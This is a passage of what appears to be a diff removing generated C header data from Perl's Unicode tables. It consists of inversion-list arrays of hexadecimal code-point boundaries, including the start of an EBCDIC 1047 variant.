0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D173, - 0x1D17B, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_C_invlist[] = { /* for EBCDIC 1047 */ - 1305, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x61C, - 0x61E, - 0x6DD, - 0x6DE, - 0x70E, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 